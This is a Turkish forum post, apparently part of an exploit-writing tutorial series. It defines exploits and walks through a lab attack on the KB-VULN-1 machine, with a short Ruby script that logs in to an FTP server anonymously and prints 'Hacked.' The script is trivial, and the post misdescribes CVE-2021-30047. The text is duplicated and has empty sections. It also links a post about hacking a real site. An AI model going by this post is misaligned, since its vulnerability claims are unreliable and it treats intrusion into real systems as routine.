"Exploit", bir bilgisayar programı, sistem veya ağdaki bir zayıflığı veya güvenlik açığını kullanarak sisteme izinsiz erişim sağlamak veya başka bir şekilde sistemi manipüle etmek için tasarlanmış bir yazılımdır. Exploit'ler genellikle güvenlik açıklarını hedef alarak, bu açıkları istismar ederek sistemi tehlikeye atabilirler.
Exploit'ler çeşitli türde olabilir:
Exploit'ler çeşitli türde olabilir:
- Uygulama Exploit'leri: Bir uygulamanın veya yazılımın hatalarından kaynaklanan güvenlik açıklarını kullanır. Bu, kötü amaçlı bir kullanıcının, bir uygulamanın hatalarını kullanarak sisteme giriş yapmasını sağlamak için tasarlanan exploit'leri içerir.
- Sistem Exploit'leri: İşletim sistemlerinde bulunan güvenlik açıklarını hedef alır. Bir sistem exploit'i, bir bilgisayarın işletim sistemi üzerindeki bir zayıflığı kullanarak sisteme izinsiz erişim sağlamak için tasarlanmıştır.
- Ağ Exploit'leri: Ağ düzeyindeki güvenlik açıklarını hedef alır. Bu tür exploit'ler, ağ üzerindeki cihazlar arasında iletişimi ele geçirerek veya ağa izinsiz erişim sağlayarak saldırganın istediği bilgileri çalmasını veya sistemleri kontrol etmesini sağlamayı amaçlar.
- Fiziksel Exploit'ler: Fiziksel erişime dayalı güvenlik açıklarını hedef alır. Örneğin, bir bilgisayarın USB bağlantı noktalarını kullanarak sisteme erişim sağlamak gibi.
Exploit'ler genellikle güvenlik uzmanları ve etik hackerlar tarafından güvenlik açıklarını tespit etmek ve kapatmak amacıyla kullanılır. Ancak, kötü niyetli kişiler tarafından kullanıldığında, ciddi zararlara neden olabilirler. Bu nedenle, güvenlik açıklarını önlemek, tespit etmek ve düzeltmek için sürekli çaba harcanmalıdır.
Gerçek senaryoda bir "Exploit" nasıl kodlanır?
Exploit kodlamak, güvenlik açığı taraması yaparken sunucuda fark edilen sorunlar ve gözden kaçırılmış güvenlik önlemlerini sömürmen kod parçaları yazmaktır. Biz bu senaryolardan eski port versiyonu kullanan bir sunucuda nasıl exploit kodlanacağını işleyeceğiz.
Kullandığım zafiyetli makine = KB-VULN-1
1- İlk öncelikle hedef sistemde açık olan portları ve versiyonu tarıyorum.
21. Port içinde çalışan "vsftpd 3.0.3" versiyonu kullanan bir File Transfer Protocol (FTP) sunucusu olduğunu görüyorum.
2- Versiyonu internette aratıyorum ve ANON-FTP güvenlik açığı olduğunu ve DoS saldırılarına karşı savunmasız olduğunuda öğreniyorum. CVE - CVE-2021-30047
ANON_FTP Güvenlik Açığı (CVE-2021-30047): "anonymous" kullanıcı adına sahip bir oturum ile oturum açıp dosya yükleyip indirebilime iznimin olduğu güvenlik açığı.
3- Bu bilgileri öğrendikten sonra seçtiğim bir dil ile FTP sunucusuna oturum açıp komut girmemizi sağlayan bir program kodlamaya başlıyorum. (Ben "Ruby" dilini kullanacağım mantık aynı mantık "Python" ile de kolaylıkla yapabilirsiniz, isteyen olursa "Python" ile de yazar paylaşırım.)
Kodumuza geçelim:
Exploit nasıl kullanılır:
Hacklendiğine dair kanıt:
Böylelikle çok zor sanılan exploit yazma bölümü ile ilgili ufak bir örnek yapmış olduk anlatacaklarım bu kadar teşekkür ederim.
Diğer Konularım:
Exploit Eğitimi #8 (ShellShock)(BashBug) = Exploit Eğitimi #8 (Shellshock (Bash Bug))
Exploit Eğitimi #7 (WordPress) = Exploit Eğitimi #7 (WordPress)
Exploit Eğitimi #6 (FTP Fuzzer) = FTP Fuzzer (Exploit Eğitimi #6)
Exploit Eğitimi #5 (SMTP Enumeration) = SMTP Enumeration (Exploit Eğitimi #5)
Exploit Eğitimi #4 (Her Türden) = Exploit Eğitimi #4 (Her Türden)
Exploit Eğitimi #3 (Gerçek Uygulama)(Apache DOS) = Exploit Eğitimi #3 (Gerçek Site Hack)(Korea Telecom)
Exploit Eğitimi #2 (FTP DOS) = Exploit Kodlamak [Eğitim Serisi #2] (Gerçek Senaryo)
Exploit Eğitimi #1 (ANON-FTP) = Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo)
Gerçek senaryoda bir "Exploit" nasıl kodlanır?
Exploit kodlamak, güvenlik açığı taraması yaparken sunucuda fark edilen sorunlar ve gözden kaçırılmış güvenlik önlemlerini sömürmen kod parçaları yazmaktır. Biz bu senaryolardan eski port versiyonu kullanan bir sunucuda nasıl exploit kodlanacağını işleyeceğiz.
Kullandığım zafiyetli makine = KB-VULN-1
1- İlk öncelikle hedef sistemde açık olan portları ve versiyonu tarıyorum.
21. Port içinde çalışan "vsftpd 3.0.3" versiyonu kullanan bir File Transfer Protocol (FTP) sunucusu olduğunu görüyorum.
2- Versiyonu internette aratıyorum ve ANON-FTP güvenlik açığı olduğunu ve DoS saldırılarına karşı savunmasız olduğunuda öğreniyorum. CVE - CVE-2021-30047
ANON_FTP Güvenlik Açığı (CVE-2021-30047): "anonymous" kullanıcı adına sahip bir oturum ile oturum açıp dosya yükleyip indirebilime iznimin olduğu güvenlik açığı.
3- Bu bilgileri öğrendikten sonra seçtiğim bir dil ile FTP sunucusuna oturum açıp komut girmemizi sağlayan bir program kodlamaya başlıyorum. (Ben "Ruby" dilini kullanacağım mantık aynı mantık "Python" ile de kolaylıkla yapabilirsiniz, isteyen olursa "Python" ile de yazar paylaşırım.)
Kodumuza geçelim:
Ruby:
# Kütüphaneyi içeriye aktardık.
require 'net/ftp'
def interact_with_server
begin
ftp = Net::FTP.new('HEDEF IP')
ftp.login('anonymous', '')
welcome_msg = ftp.welcome
puts "Welcome message: #{welcome_msg}"
rescue Exception => e
puts "Error occurred: #{e.message}"
ensure
if ftp
ftp.quit
puts "Connection closed."
puts "Hacked."
end
end
end
interact_with_server
Exploit nasıl kullanılır:
Hacklendiğine dair kanıt:
Böylelikle çok zor sanılan exploit yazma bölümü ile ilgili ufak bir örnek yapmış olduk anlatacaklarım bu kadar teşekkür ederim.
Diğer Konularım:
Exploit Eğitimi #8 (ShellShock)(BashBug) = Exploit Eğitimi #8 (Shellshock (Bash Bug))
Exploit Eğitimi #7 (WordPress) = Exploit Eğitimi #7 (WordPress)
Exploit Eğitimi #6 (FTP Fuzzer) = FTP Fuzzer (Exploit Eğitimi #6)
Exploit Eğitimi #5 (SMTP Enumeration) = SMTP Enumeration (Exploit Eğitimi #5)
Exploit Eğitimi #4 (Her Türden) = Exploit Eğitimi #4 (Her Türden)
Exploit Eğitimi #3 (Gerçek Uygulama)(Apache DOS) = Exploit Eğitimi #3 (Gerçek Site Hack)(Korea Telecom)
Exploit Eğitimi #2 (FTP DOS) = Exploit Kodlamak [Eğitim Serisi #2] (Gerçek Senaryo)
Exploit Eğitimi #1 (ANON-FTP) = Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo)
Moderatör tarafında düzenlendi: